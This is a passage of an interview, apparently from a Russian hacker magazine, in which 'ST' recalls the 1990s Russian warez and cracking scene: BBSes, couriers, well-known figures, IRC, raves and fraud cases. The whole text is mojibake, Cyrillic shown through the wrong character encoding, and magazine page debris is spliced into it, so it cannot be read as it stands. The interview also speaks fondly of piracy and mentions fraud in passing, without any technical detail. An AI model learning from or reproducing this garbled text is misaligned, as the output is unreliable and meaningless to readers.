íî óïàêîâàòü ïî àðõèâàì, ó íàñ �
âçëîìàòü è ðàñïðîñòðàíèòü ñíà÷à-
ëà ïî áîðäàì, ïîòîì ïî êðóïíåé-
øèì ñàéòàì, ãäå âñå îáìåíèâàëèñü
âàðåçîì è ñòðåìèëèñü îêàçàòüñÿ â
ïåðâîé äåñÿòêå êóðüåð-ãðóïï. Ê
êîíöó 1995 ãîäà äîñêè ïðàêòè÷åñêè
ñåáÿ èçæèëè � íàìíîãî ïðîùå áû-

ëî ïîñòàâèòü «ïðîöåññ» â þíèêñå, ñëèòü âñå ÷åðåç ôòï íà êàêîé-íèáóäü
ñåðâåð, à ïîòîì ïðèéòè òóäà ñ âèíòîì è ñëèòü 40 Mb çà ðàç! Â òî âðåìÿ êàê
íà ñêîðîñòè 2400 (îáû÷íàÿ äëÿ òîãî âðåìåíè, òàê êàê ìîäåìû íà 14400
ìîãëè ñåáå ïîçâîëèòü íåìíîãèå), 1.44 Má êà÷àëèñü ÷àñ, ïðè óñëîâèè, ÷òî-
áû íå ðâàëàñü ëèíèÿ, è òåëåôîí íå áûë çàíÿò. Â îáùåì, âñå ïîòèõîíüêó
ïåðåáðàëèñü â èíåò. Ñ äîñêàìè ìû êàê ðàç è ïîòåðÿëè àòìîñôåðó, êîòî-
ðóþ ñîçäàâàëè ñèñîïû � âåäü êàæäàÿ BBS áûëà îôîðìëåíà â ñâîåì ñòè-
ëå, ñîäåðæàëà óíèêàëüíûé ëîãîòèï, íàðèñîâàííûé ñàìèì ñèñîïîì èëè êà-
êîé-íèáóòü êîìàíäîé. Òû êàê áû ïîïàäàë â êëóá ñî ñâîèìè èíòåðüåðàìè è
òóñîâêîé. Íà ñàéòàõ âñå â îñíîâíîì áûëî îäèíàêîâî. Òàì ïðàêòè÷åñêè
íèêòî íå îáùàëñÿ � äëÿ ýòî åñòü IRC, è ÷åì äàëüøå, òåì áîëüøå îíè
ïðåâðàùàëèñü â file-server. Êîãäà â 1997 ãîäó êòî-òî èç Razor ñòàë ãîâî-
ðèòü î áóäóùåì ñöåíû, è î òîì, ÷òî åé óãðîæàåò ÔÁÐ, ÿ åìó îòâåòèë, ÷òî
ñöåíà âûìðåò íå èç-çà ôåäåðàëîâ, à èç-çà Èíòåðíåòà, êîòîðûé ñëèøêîì
äîñòóïåí, è ãäå òû ìîæåøü áûòü 12-ëåòíèì ïàöàíîì, âûäàþùèì ñåáÿ çà
êîãî óãîäíî. Ñöåíà èçíà÷àëüíî áûëà íåêèì âûçîâîì � òû òàê èëè èíà÷å
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íàðóøàë çàêîí, è ðåàëüíî ðèñêîâàë. Ïîñòàâèòü áóòûëêó ñòîðîæó êàêîãî-
òî çàâîäà, âîòêíóòü íà 8 ÷àñîâ åãî òåëåôîííóþ ëèíèþ â êîìï, ñâÿçàòüñÿ
ñ Àíãëèåé ïî òàðèôó 2$/ìèíóòà, ïîñëå ÷åãî â êîíöå ìåñÿöà ñäåëàòü êîì-
ïèëÿöèþ ñîôòà è ïðîäàòü ýòî íà êàñåòå ÀÐÂÈÄ (ñïåöèàëüíàÿ ñèñòåìà
õðàíåíèÿ äàííûõ íà âèäåîêàñåòàõ � âìåùàëîñü 2 Ãá è áîëåå, ÷òî äëÿ òî-
ãî âðåìåíè áûëî ôàíòàñòèêîé) èëè ðàííèõ CD-R ïèðàòàì� È óæå ÷åðåç
ìåñÿö ïî âñåé ñòðàíå ãóëÿëè ñáîðíèêè ñîôòà òèðàæàìè ïî 100 òûñÿ÷.

mindw0rk: Ðàññêàæè î ñàìûõ íåçàóðÿäíûõ/èçâåñòíûõ ëè÷íîñòÿõ ðóññêî-
ãî àíäåãðàóíäà òåõ âðåìåí. Î ñâîåãî ðîäà ëåãåíäàõ. ×òî ýòî áûëè çà ëþ-
äè, ÷åì îíè çàíèìàëèñü, êàêèìè çàïîìíèëèñü òåì, êòî èõ õîðîøî çíàë?
ST: Èç òåõ, ÷üè èìåíà ó ìåíÿ âûçûâàþò óëûáêó: Ìåòåî (Ïèòåð), Explosive
aka Exploz (Ìîñêâà), Infernal Flame aka Flames (Ìîñêâà), NetRunner aka
White Tyger (Ïèòåð), Madly Spacer (Ïèòåð). Èõ ðåàëüíî ìíîãî, âñåõ íå ïåðå-
÷èñëèøü, è ÿ íàäåþñü, íèêòî èç òåõ, êîãî ÿ íå íàçâàë, íà ìåíÿ íå â îáèäå.
mete0 áûë çàáàâíûì ïàðíåì, çàïîìíèëñÿ ìíå òåì, ÷òî, íàâåðíîå, ïåðâûì
ïîïàë íà ÒÂ (òî ëè 95-é, òî ëè 96-é ãîä). Íàø ïèòåðñêèé êàíàë ñäåëàë ñïå-
öèàëüíûé âûïóñê, ïîñâÿùåííûé íåçàêîííîìó îáîðîòó ÏÎ, è Ìåòåî âûñòó-
ïàë â îòêðûòóþ êàê êðýêåð. Â òå÷åíèå ãîäà ïîñëå ýòîãî, îí ñòàë ñ÷èòàòüñÿ
ëó÷øèì êðýêåðîì â Ïèòåðå, ïîñëå ÷åãî ñòàë óõîäèòü âñå ãëóáæå è ãëóáæå
âíèç, îò ïóáëè÷íîñòè, òàê êàê åãî ñòàëî çàíîñèòü â ñòîðîíó ôðàóäà.
Explosive � ñóïåð÷åëîâåê. ß íèêîãäà íå èñïîëüçîâàë ñëîâî «ýëèòà», íî
Exploz ïåðåæèë âñåõ, è ýòî ïðî íåãî. Îí â òåìå ñ 1995 ãîäà, ïåðåêà÷àë
áîëüøå âñåõ êóðüåðîâ Ðîññèè âìåñòå âçÿòûõ. Îí ñàìûé èçâåñòíûé êóðü-
åð çà ðóáåæîì, âèçèòíàÿ êàðòî÷êà Ðîññèè íà êðóïíåéøèõ ñàéòàõ. ß íå
ìîãó íè÷åãî áîëüøå î íåì ðàññêàçàòü, òàê êàê ýòî ìîæåò åìó ïîâðåäèòü.
Íî êîãäà îí âûéäåò íà ïåíñèþ, âåñü ýêñêëþçèâ ñ åãî ñîãëàñèÿ � âàø.
Infernal Flame � ëó÷øèé ASCII/ANSI õóäîæíèê Ðîññèè, êîòîðûé âïîñëåäñòâèè
óøåë â àíèìàöèþ è äðóãèå íàïðàâëåíèÿ äèçàéíà. Íî äî 99-ãî ãîäà íèêòî ó íàñ
íå ìîã ñ íèì ñðàâíèòüñÿ � åãî ãðàôèêà áûëà â ëó÷øèõ ïàêàõ òîãî âðåìåíè,
îí áûë ÷àñòüþ âåäóùèõ ìèðîâûõ diz-ãðóïï òîãî âðåìåíè. .NFO, .DIZ ôàéëû, à
òàêæå ýëåêòðîííûå æóðíàëû, ÷àñòî èñïîëüçîâàëè åãî ãðàôèêó.
NetRunner � ïèòåðñêàÿ ëåãåíäà. Â òî âðåìÿ, êîãäà ñðåäíèé âîçðàñò ðåä-
êî ïðåâûøàë 20�23 ãîäà, åìó áûëî 28. Ó íåãî áûëè àáñîëþòíî áåëûå
âîëîñû è áðîâè. Ïîýòîìó îí ïîòîì âçÿë äîñòàòî÷íî íåëåïûé íèê White
Tyger. Ýòîò ÷åëîâåê áûë èç ðàçðÿäà òåõ «ñóìàñøåäøèõ», êòî ìîã ãîâî-
ðèòü î âàðåçå ÷àñàìè. Áûë çâåçäîé ëþáîé RL òóñîâêè, âûêðèêèâàÿ ãðîì-
÷å âñåõ íåïîíÿòíûå äëÿ ïðîñòûõ ëþäåé ôðàçû òèïà: «çàêóðüåðèì 12-òè
äèñêîâûé ðåëèç RISCu, à ïîòîì íîðìàëüíî ðàñïèëèì âñå è ñîëüåì». Â
1997 ã. óåõàë â Êàíàäó çà ìèôè÷åñêèì ñ÷àñòüåì ñèñòåìíîãî àäìèíèñò-
ðàòîðà, è áîëüøå íå ðàäîâàë ñöåíó ñâîèì ïðèñóòñòâèåì.
Madly Spacer. Â 1989 â Ïèòåðå, âïåðâûå â Ðîññèè, ìóæ÷èíà ïî ôàìèëèè Âî-
äîëååâ, ñòàë ïðîäàâàòü êîìïüþòåðíûå èãðû çà äåíüãè. Ïðè÷åì, êàê íåòðóä-
íî ïîíÿòü, èãðû áûëè îòêðîâåííî warez�íûìè. Äåëà ó íåãî øëè íåïëîõî, òàê
êàê ñòàëè ïîäòÿãèâàòüñÿ ðåáÿòà èç Ìîñêâû è ðåãèîíîâ, îòêðûëè ñâîþ òî÷-
êó, è, ïî ñóòè, òîðãîâàëè âåäü âîçäóõîì. Îäíà èãðà ñòîèëà, åñëè ìíå íå èç-
ìåíÿåò ïàìÿòü, ìèíèìóì 10$ � ýòî áûëè áîëüøèå äåíüãè. Òàê âîò, ýíåðãè÷-
íûé ìîëîäîé ÷åëîâåê Spacer, ëîâêî óìóäðÿëñÿ âîðîâàòü ó ñàìîãî Âîäîëå-
åâà è âûêëàäûâàòü ñâåæàê ó ñåáÿ íà BBS, äëÿ óçêîãî êðóãà ëþäåé. Êàê ãî-
âîðèòñÿ, ïî÷òè çàäàðîì. ×òî íàì ñòîèëî ïèâà íàëèòü òàêîìó ïàðíþ? Ñàøà
(òàê åãî çâàëè) ïåðâûì ñîøåëñÿ íà ýòîé òåìå ñ Ìèøåé (J-Jamez) â íà÷àëå
1994, à ïîòîì Ïèòåð óæå ñòàë ðåãóëÿðíî åçäèòü â Ìîñêâó, è íàîáîðîò.

mindw0rk: Ãäå îáùàëèñü õàêåðû è êðýêåðû òîãî âðåìåíè? Êàêèå áûëè
ïåðâûå àíäåãðàóíäîâûå ðóññêèå BBS? Öåíòðîâûå õàêåðñêèå êàíàëû â
IRC è ôîðóìû â Ñåòè? Ïîïóëÿðíûå òåìû äëÿ ðàçãîâîðîâ?
ST: Íàçâàíèÿ óæå íå ïîìíþ. Áûëî 2�3 áîðäû â Ìîñêâå, êîòîðûå ðåãó-
ëÿðíî ïåðååçæàëè, òàê êàê íà îäíîì ìåñòå äåðæàòü ëèíèþ 24 ÷àñà â ñóò-
êè íå âñåãäà áûëî âîçìîæíî. Ñðåäè íèõ áûëè äàæå 2-ëèíåéíûå. Â Ïèòå-
ðå � 2 äîñêè, îáå êðóãëîñóòî÷íûå, äîñòóï òîëüêî äëÿ ñâîèõ, èëè çà äåíü-

ãè (15$ � íåîãðàíè÷åííîå êîëè÷åñòâî Ìá íà ñêà÷êó). Îáùàëèñü íà äîñ-
êàõ â ñàìîì íà÷àëå, ïîòîì âñå ïåðåïîëçëè íà IRC. Ìíîãèå òàì äî ñèõ
ïîð ñèäÿò, ïî èíåðöèè, õîòÿ íîâîå ïîêîëåíèå ïî óøè â messenger'àõ.
×àñòî íàðîä ïåðåñåêàëñÿ íà ãëîáàëüíûõ ðýéâàõ 95�97 ãîäîâ. Ïèòåð è
Ìîñêâà â ýòîì ïëàíå ïî òðàäèöèè áûëè ëèäåðàìè. Â Ìîñêâå îòäàâàëè
ïðåäïî÷òåíèå âå÷åðèíêàì ïîä «Ïòþ÷åì», â Ïèòåðå � òàêèì ìåñòàì, êàê
«Ïëàíåòàðèé», «Âîñòî÷íûå óäàðû», à òàêæå ÷àñòíûì âå÷åðèíêàì â êó-
ðîðòíîì ðàéîíå. Inet, drugs & rave óâëåêàë 80% ñöåíåðîâ, îñòàëüíûå îò-
äàâàëè ïðåäïî÷òåíèå èëè ïèâó, èëè äðóãèì ñòèëÿì â ìóçûêå. Òàê êàê ýòî
âñå ñòîèëî äåíåã (îäèí ïîõîä îáõîäèëñÿ ìèíèìóì â $100 çà íî÷ü � áå-
çóìèå äëÿ 1996 ãîäà), âñå èñïîëüçîâàëè ñâîè íàâûêè ñ öåëüþ ýòè äåíü-
ãè çàðàáîòàòü. Òàê â Ðîññèè ñöåíà èç ïèðàòñêîé, ñòàëà ïðåâðàùàòüñÿ â
«159.1-3 ÓÊ ÐÔ». Ìîøåííè÷åñòâî (êàðäèíã, ôðèêèíã), íåëåãàëüíûé äîñ-
òóï ê ñåòÿì (Ëåâèí, äåëî î Ñèòèáàíêå, Ãîôìàí, äåëî î «Ðóññêîì êðåäè-
òå»), ìíîãî äåë ìåíåå ãðîìêèõ î âçëîìàõ ïðîâàéäåðîâ äåòüìè, êîòîðûõ
ëîâèëè òå, êòî ëîìàë ýòèõ æå ïðîâàéäåðîâ íåñêîëüêèìè ãîäàìè ðàíåå,
ñòàíîâëåíèå ðûíêà êîìïüþòåðíîé ïîðíîãðàôèè � ñàìîì äåíåæíîì íà
ñåãîäíÿ ñåãìåíòå «íåëåãàëüíîé» ýêîíîìèêè Èíòåðíåòà. Ïîíà÷àëó íèêòî
ñåðüåçíî ê ýòîìó íå îòíîñèëñÿ, íî êîãäà îäèí çà äðóãèì ëþäè ñòàëè çà-
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äàâàòüñÿ âîïðîñîì, ãäå âçÿòü ìíîãî äåíåã è
ñðàçó, ñòàëè ïîÿâëÿòüñÿ è ïëàíû, è ïðîáëåìû.
À fun ñìåíèëñÿ ñòðåìëåíèåì íàæèòüñÿ.
Öåíòðîâûõ êàíàëîâ â IRC íå áûëî. Áûëè ïîïóëÿð-
íûå çàêðûòûå êàíàëû, ãäå ñèäåëè ëþäè èç òîé
èëè èíîé ãðóïïû. Âñå õîäèëè äðóã ê äðóãó â ãîñòè,
ïðîÿâëÿëè ñâîå óâàæåíèå, îáùàëèñü â ñâîå óäî-
âîëüñòâèå. Ïîÿâëåíèå ôîðóìîâ è ICQ áûëî
âñòðå÷åíî âñåìè î÷åíü ñïîêîéíî, òàê êàê ýòî �
îäíà èç ôîðì useability. Ýòî ïðèâëåêëî òîííû äå-
òåé, êîòîðûå ïîñëå øêîëû ñòàëè çàëåçàòü â Èí-
òåðíåò è òðåáîâàòü ê ñåáå óâàæåíèÿ, åùå íå ïî-
íèìàÿ, îòêóäà îíî áåðåòñÿ. Íåñìîòðÿ íà ðîñò ïî-
ïóëÿðíîñòè DALnet â 1997 ãîäó, EFnet îñòàâàëñÿ
(äëÿ íåêîòîðûõ � îñòàåòñÿ) äëÿ ìíîãèõ «ñòàðè÷-
êîâ» åäèíñòâåííûì ìåñòîì îáùåíèÿ â Ñåòè.
Ñàìîé ïîïóëÿðíîé òåìîé äëÿ ðàçãîâîðîâ âñåãäà áûëà ñàìà æèçíü: îò
áàá äî êîñìîñà. Êîíêðåòíûõ òåì íå áûëî, ôàí çàêëþ÷àëñÿ â òîì, ÷òî ìû
ñòàëè ïåðâûìè â ìèðå, êòî èñïîëüçîâàë ïðåèìóùåñòâà Èíòåðíåòà äëÿ
îáùåíèÿ. Êîãäà ïðèíöåññà Äèàíà ðàçáèëàñü, ýòî ïðîèçîøëî íî÷üþ, íà
êàíàëå áûëè ëþäè îòîâñþäó. È îäèí èç íèõ æèë â êâàðòàëå îò ïðîèñøå-
ñòâèÿ. Îí ñõîäèë, ïîñìîòðåë è, âåðíóâøèñü, ñòàë ðàññêàçûâàòü íàì
ñâîè âïå÷àòëåíèÿ. À âåñü ìèð íà÷àë ýòî îáñóæäàòü òîëüêî ÷åðåç 8 ÷à-
ñîâ, ïðîñìîòðåâ âûïóñêè íîâîñòåé. Ìû ãîâîðèëè îá ýòîì âñþ íî÷ü, ñïî-
ðèëè î òîì, êòî âèíîâàò, è ÷òî òåïåðü áóäåò. Íå áûëî íè yandex, íè
lenta.ru, îá ýòîì íèãäå íåëüçÿ áûëî ïðî÷èòàòü. È òû ÷óâñòâîâàë ñåáÿ
÷àñòüþ èñòîðèè. È òàê áûëî ñ âîéíîé â ×å÷íå, è ñ Þãîñëàâèåé è ìíîãè-
ìè äðóãèìè ñîáûòèÿìè. Ìû óçíàâàëè äðóã îò äðóãà íîâîñòè èç ðàçíûõ
óãîëêîâ ìèðà, îáìåíèâàëèñü æèòåéñêèì îïûòîì, îáñóæäàëè êàêèå æåí-
ùèíû ëó÷øå, äûøàëè ýòèì îáùåíèåì. Ýòî çàìåíÿëî óëèöû Ðîññèè, êî-
òîðûå â 95-ì ãîäó áûëè ìåíåå ïðèâåòëèâûìè, ÷åì ñåãîäíÿ.

mindw0rk: Êàê ÷àñòî ïðîâîäèëèñü ðèàëëàéôîâûå âñòðå÷è ìåìáåðîâ
õàê-ãðóïï? Êàê ïðîõîäèëè òàêèå âñòðå÷è, ñêîëüêî ëþäåé ñîáèðàëè, êà-
êèå òóñîâêè îêàçàëèñü íàèáîëåå ïàìÿòíûìè.
ST: Ìàñøòàáíûå RL-âñòðå÷è ïðîâîäèòü íå áûëî íóæäû � âñå è òàê îá-
ùàëèñü. Åñëè ãîâîðèòü î ìåæäóíàðîäíîì óðîâíå � îáû÷íî äâîå-òðîå
íàøèõ ðåáÿò óåçæàëè â Åâðîïó, òàì ïðåäâàðèòåëüíî ñîáèðàëèñü ëþäè
èç íåñêîëüêèõ ñòðàí. Çàïîìíèëàñü âñòðå÷à â Ñòîêãîëüìå â 1995 ãîäó è
â Ãåðìàíèè â 1997 ãîäó. Áûëî âåñåëî. Ñîáèðàëèñü âñå, ó êîãî áûëè
äåíüãè ïðèåõàòü. Àáñîëþòíî íå âàæíî, êðóò òû èëè íåò. ×àñòî, åñëè íå

êðóò, ïëàòèë çà òåõ, êòî «â óâàæóõå» � âñå, êàê â æèâîòíîì ìèðå. Îáû÷-
íî áûëî îò 15 äî 40 ÷åëîâåê. Êàê ÿ óæå ãîâîðèë, ÷àñòî âñòðå÷àëèñü íà
âå÷åðèíêàõ, ðýéâàõ. Ìíîãèå èç òåõ, êòî ñòîÿëè ó èñòîêîâ, áûëè, êàê ýòî
ñåé÷àñ ïðèíÿòî ãîâîðèòü, «ãëàìóðíûìè» ïåðñîíàæàìè. Ýòî òî æå ñàìîå,
åñëè ñåãîäíÿ ÷óâàê, êîòîðîìó 19 ëåò, áóäåò íà ìèðîâîì óðîâíå ðàçáè-
ðàòüñÿ â íàíîòåõíîëîãèÿõ è èìåòü ñ ýòîãî äîõîä â îñîáî êðóïíûõ ðàçìå-
ðàõ. Ìíîãèå ÷óâñòâîâàëè ñåáÿ óâåðåííî, è îáðàç æèçíè áûë ñîîòâåò-
ñòâóþùèé. Ìîæíî áûëî õîäèòü â ðâàíûõ äæèíñàõ, íî ó òåáÿ áûëî ñàìîå
äîðîãîå æåëåçî â ãîðîäå, ñàìûå ñâåæèå ìóçûêàëüíûå äèñêè, ïðèñëàí-
íûå äðóçüÿìè èç Åâðîïû, ñ ñàìîé ìîäíîé ìóçûêîé, è òû áûë â êóðñå
âñåãî òîãî, î ÷åì êîìïüþòåðíûå æóðíàëû òîãî âðåìåíè íàïèøóò òîëüêî
÷åðåç ïîëãîäà. Íå ãîâîðÿ óæå î òîì, ÷òî âîïðîñ ñ äåíüãàìè ìîæíî áûëî
ïðè æåëàíèè âñåãäà ðåøèòü: åñëè êîìó-òî èç ìèðà áèçíåñà âäðóã ïîíà-
äîáèëàñü ïðîãðàììà, ñòîèâøàÿ, ê ïðèìåðó, 6000$, îí ìîã äîñòàòü åå â
òå÷åíèå ñóòîê ó õàêåðîâ è îòäàòü èì çà íåå 1000$.

mindw0rk: ×åì áûëà ïðèòÿãàòåëüíà ðàííÿÿ ñöåíà? ×òî âû áîëüøå
âñåãî â íåé öåíèëè?
ST: Ïðèòÿãàòåëüíà � íîâèçíîé, óíèêàëüíîñòüþ, ýêñêëþçèâîì ïðîèñõî-
äÿùåãî. Ýòî ñåé÷àñ èñòîðèè, ãäå õàêåð åäåò â ìåòðî, ðàññêàçûâàÿ ïðèÿ-
òåëþ: «Ìàìà óìåðëà, íîâûå ìîçãè îêàçàëèñü íè ïðè ÷åì», à ëþäè êðó-
ãîì âûðàæàþò ñî÷óâñòâèå, ñòàëè àíåêäîòîì. Òîãäà ýòî áûëî ðåàëüíî, è
ìû âñå ÷åðåç ýòî ïðîøëè. Öåíèëè áîëüøå âñåãî íîâîñòè, íîâîå, ñâåæåå
�  òî, î ÷åì áóäóò ãîâîðèòü ÷åðåç êàêîå-òî âðåìÿ. Õîòÿ, îïÿòü æå, âñå
èíäèâèäóàëüíî. Íî ñàìûì èíòåðåñíûì, êîíå÷íî, áûëî îáùåíèå.

mindw0rk: Êàêèå ñàéòû, ïîñâÿùåííûå êîìïüþòåðíîé áåçîïàñíîñòè,
áûëè ïåðâûìè â ðóíåòå? È êàêèå ñòàëè ïîïóëÿðíûìè ñðåäè õàêåðîâ?
ST: Ñàéòû ïî êîìïüþòåðíîé áåçîïàñíîñòè, ÷òî ñåé÷àñ, ÷òî òîãäà � äëÿ
âñåõ. Ñîáñòâåííî, åñëè òîëüêî èõ ÷èòàòü, òî è áóäåøü êàê âñå. À íè ÿ, íè
êòî-ëèáî èç íàøåé êîìàíäû êàê âñå áûòü íå õîòåëè. Ëó÷øèé õàêåð, íàé-
äÿ íîó-õàó, áóäåò åãî âûæèìàòü äî êîíöà, èëè îáìåíèâàòüñÿ îïûòîì ñ

òàêèìè æå. È ïîñëåäíåå, ÷òî îí áóäåò äåëàòü �
ïîìîãàòü êîìó-òî, õîòü îäíèì óðîâíåì íèæå.
Ïîýòîìó âñå, ÷òî îòêðûòî � ýòî áîëüøå äëÿ àä-
ìèíîâ, äëÿ îáìåíà îïûòîì, ÷òîáû äàòü èì âîç-
ìîæíîñòü îáñóäèòü òîíêîñòè security. Âñå õàêå-
ðû, êîòîðûõ ÿ çíàë, è êòî ìîã ñåáÿ ïðè÷èñëèòü
ê ðàçðÿäó ëó÷øèõ, áûëè âîëêàìè-îäèíî÷êàìè.
Âíåøíå, ïðàâäà, ðåäêî íàïîìèíàÿ âîëêîâ.
Êàæäûé � óíèêàëåí è íåïîâòîðèì, â ñâÿçè ñ
÷åì, ëó÷øèìè è ñòàíîâèëèñü. Ñðåäè õàêåðîâ íè
îäèí ñàéò íèêîãäà íå áóäåò ïîïóëÿðåí. Îí
ïðîñòî íåäîñòîèí ýòîãî, ïî èõ ìíåíèþ.

mindw0rk: Âîëêàìè íå âûãëÿäåëè, à êàê èìåííî?
ST: Ëþäåé ñî ñöåíû ðåäêî ïðèíèìàëè çà
êîìïüþòåðùèêîâ. Â ýòîì áûë øèê. Âûãëÿäåòü
òàê, ÷òîáû íèêòî íå ìîã ïðåäïîëîæèòü, ÷òî òû
èìååøü ÷òî-òî îáùåå ñ êîìïüþòåðàìè. Ýòî êàê
âûåõàòü çà ðóáåæ â íà÷àëå 90-õ è ïðîèçâîäèòü
âïå÷àòëåíèå àìåðèêàíöà èëè íåìöà òåì, ÷òî

òû ïðåêðàñíî ãîâîðèøü áåç àêöåíòà íà àíãëèéñêîì è âûãëÿäèøü êàê åâ-
ðîïååö. Åñëè âû âèäèòå ñáîðèùå ëþäåé, ó êîòîðûõ íà ãðóäè âèñèò ñãî-
ðåâøèé ÄÈÌÌ, à íà ñïèíå ðþêçàê ñ ïðîöåì, òî ýòî ìèìî êàññû.

mindw0rk: Ïðîãðàììíûå ïðåäïî÷òåíèÿ êîìïüþòåðùèêîâ òîãî âðåìå-
íè... íà êàêèõ ÎÑ ðàáîòàëè, ÷åì ñåðôèëè Ñåòü, â êàêèå èãðóøêè èãðàëè,
êàêèå ïðîãè ñ÷èòàëèñü must have â êîëëåêöèè?
ST: DOS îò 3.0 äî 7.00 ñ îáÿçàòåëüíûì ïåðåõîäîì ÷åðåç 6.22. Windows
95 � ìû ìåñÿö íå ìîãëè ïîâåðèòü, ÷òî ïîä âèíäàìè ìîæíî îäíîâðåìåí-
íî ñêà÷èâàòü ÷òî-òî, èãðàòü è ïîäáèðàòü ïàðîëè ïî ñëîâàðþ. Õîòÿ â ïåð-
âûõ âåðñèÿõ ðàáîòà ñ ìîäåìîì íå îòëè÷àëàñü âûñîêèì êà÷åñòâîì (ïðè
ïåðåêëþ÷åíèè îêîí, ñâÿçü ìîãëà ñîðâàòüñÿ èëè cps ïàäàë), âñå ðàâíî
ýòî áûëà ðåâîëþöèÿ. 95-é âèíäå ïðîùàëîñü âñå, òàê êàê îíà äàëà âîç-
ìîæíîñòü äåëàòü ìíîãèå âåùè îäíîâðåìåííî. OS/2 áûëà ïîïóëÿðíà òàê
æå, êàê ñåãîäíÿ Macintosh. Íó à äî ýòîãî � Windows 3.1 è 3.11 for work-
groups, AOL, Compuserve èëè Local ISP ñ Winsocket. Íî ýòî áûë ýêñêëþ-
çèâ, îá ýòîì â 1994 äàæå ïîãîâîðèòü áûëî íå ñ êåì. Ñðåäè èãð êàæäûé
ãîä ïîÿâëÿëñÿ íîâûé õèò, íî ìíîãèõ ñïëîòèë, êîíå÷íî, DOOM. Must
have'íûå ïðîãðàììû äëÿ 1994 ãîäà: DOS 5.0, Win3.11, Terminal, Pkunzip,
Pkzip, Arj, Vc, aidstest, Norton Utilities, Lexicon. Âñå îñòàëüíîå � ïî æåëà-
íèþ, â èíäèâèäóàëüíîì ïîðÿäêå. Íî ýòîãî ñïèñêà âïîëíå õâàòàëî, ÷òîáû
âûïîëíèòü 95% ñèñòåìíûõ çàäà÷. Ìíîãîå øëî â êîìïëåêòå ñ DOS-îì:
ïàïêè ñ ñîôòîì äëÿ èãð, ïðîãðàììèðîâàíèÿ, ìóçûêè (åñëè ó êîãî-òî áûë
COVOX èëè Sound Blaster � ðåäêàÿ òîãäà ðîñêîøü). Òåðìèí «õàêåð» èñ-
ïîëüçîâàëñÿ êðàéíå ðåäêî, òàê êàê ëîìàòü ïîïðîñòó áûëî íå÷åãî. [X

À
Ê

Å
Ð

1
0

 [
8

2
] 

0
5

 >
Ñ

Ö
Å

Í
À

0
8

5
]



mindw0rk: Êàêîå ìåñòî íà ìèðîâîé ñöåíå çàíèìàëà Ðîññèÿ? Áûëè ëè
ðóññêèå êîìàíäû õîðîøî èçâåñòíû, èëè ìû âñåãäà îñòàâàëèñü â òåíè çà-
ïàäà? Êàêèå ïðîåêòû è äîñòèæåíèÿ ðóññêèõ õàêåðîâ/êðýêåðîâ ñòàëè èç-
âåñòíû çà ïðåäåëàìè ÑÍÃ?
ST: Íèêàêîå. Ñîôò èç Ðîññèè äîñòèã ìèðîâîé ïëàíêè òîëüêî ïîñëå 97-
ãî ãîäà (The Bat, Rar), äî ýòîãî ìû òîëüêî ïîòðåáëÿëè. Ïîõâàñòàòüñÿ îñî-
áî áûëî íå÷åì. ×èñòî ðóññêèå êîìàíäû èçâåñòíû íå áûëè, íî íåêîòîðûå
ãðóïïû, îñíîâàííûå ðóññêèìè èëè ïðè ó÷àñòèè ðóññêèõ, ïîëó÷èëè èçâå-
ñòíîñòü. Òà æå Drink or Die. Õîòÿ ïðàêòè÷åñêè â êàæäîé òîïîâîé õàê/êðýê
òåìå ñîñòîÿë õîòü îäèí ìåìáåð èç Ðîññèè, ëèáî ðîäèâøèéñÿ òàì.

mindw0rk: Êàêèå áûëè ñàìûå çíà÷èòåëüíûå äëÿ ñöåíû ñîáûòèÿ íà
ïðîòÿæåíèè 90-õ ãã.? È êàê îíè ïîâëèÿëè íà ñöåíó?
ST: Äóìàþ, íå îøèáóñü, åñëè âûäåëþ òàêèå ýòàïû:
�îòìèðàíèå ñòàðîé øêîëû (äîñêè, ìîäåìû íà 2400, ñîôò äî 1 Má);
�ðàçâèòèå èíòåðíåòà (óáèë, êàê ãîâîðÿò åâðîïåéöû, «÷óâñòâî ñöåíû»);
�ðàçâèòèå fraud scene íà áàçå Èíòåðíåò (àêöåíòû ñìåñòèëèñü);
Âñå îñòàëüíîå: àðåñòû, òóñîâêè è òàê äàëåå � áûëî âòîðè÷íî. Â êîíöå
90-õ ýïîõà çàêîí÷èëàñü, è ëþäè èç íîâîé âîëíû, ñ ICQ è ñâîèì âèäåíè-
åì ñöåíû, ñòàëè âñå ïåðåñòðàèâàòü ïîä ñåáÿ. Ìíå êàæåòñÿ, ýòî íîðìàëü-
íî. Åñòåñòâåííûé õîä ýâîëþöèè.

mindw0rk: Êàêèå ñòðàíû â 90-õ ñ÷èòàëèñü ñàìûìè ïðîäâèíóòûìè â ïëàíå õà-
êèíãà, êðýêèíãà è àíäåãðàóíäà? Îòëè÷àëàñü ëè ÷åì-òî ñöåíà â ðàçíûõ ñòðàíàõ?
ST: Ðîññèÿ è Óêðàèíà çàæèãàëè ïî ïîëíîé. Ìîæíî áûëî äåëàòü âñå, ÷òî
óãîäíî, òàê êàê íå áûëî íèêàêîé çàêîíîäàòåëüíîé áàçû. Íàøåé ñâîáîäå çà-
âèäîâàëè âñå. Â Ðîññèè íå áûëî îãðàíè÷åíèé, êàê ó ðåáÿò â Åâðîïå è Øòà-
òàõ. Äàëüøå � øâåäû (Rebels � îäíà èç ñèëüíåéøèõ êîìàíä), ïîòîì �
ôðàíöóçû, íåìöû è áåëüãèéöû. Îíè âñå â òóñîâêå, âñåãäà âìåñòå, ðåãóëÿð-
íî ïðèåçæàëè äðóã ê äðóãó. Ïðàâäà, ôðàíöóçû è áåëüãèéöû âñåãäà îòêðî-
âåííî èçäåâàëèñü íàä íåìöàìè çà òî, ÷òî òå ñëèøêîì òîðìîçíûå è ñåðüåç-
íûå. Íî â öåëîì, äðóæèëè. Áîëüøàÿ àêòèâíîñòü áûëà â ÑØÀ. Âîîáùå, áû-
ëî äâå ñöåíû � åâðîïåéñêàÿ è øòàòîâñêàÿ. Òàê êàê èç-çà ðàçíèöû âî âðå-
ìåíè, â øòàòàõ âñòàâàëè òîãäà, êîãäà ó íàñ âñå ëîæèëèñü ñïàòü, åâðîïåéöû
íåðåäêî çàñèæèâàëèñü äî óòðà, ÷òîáû ðåøèòü êàêèå-òî âîïðîñû ñ àìåðè-
êàíöàìè. Ñöåíà â êàæäîé ñòðàíå îòëè÷àëàñü òðàäèöèÿìè è íàöèîíàëüíûìè
îñîáåííîñòÿìè, íî ïðèìåðîâ ïðèâåñòè íå ìîãó � ïðîñòî íå ïîìíþ.

mindw0rk: Â íà÷àëå 90-õ ãã. â ÑØÀ íåñêîëüêî ëåò âåëàñü ýëåêòðîííàÿ
âîéíà ìåæäó õàêåðñêèìè ãðóïïàìè Legion of Doom è Masters of Deception.
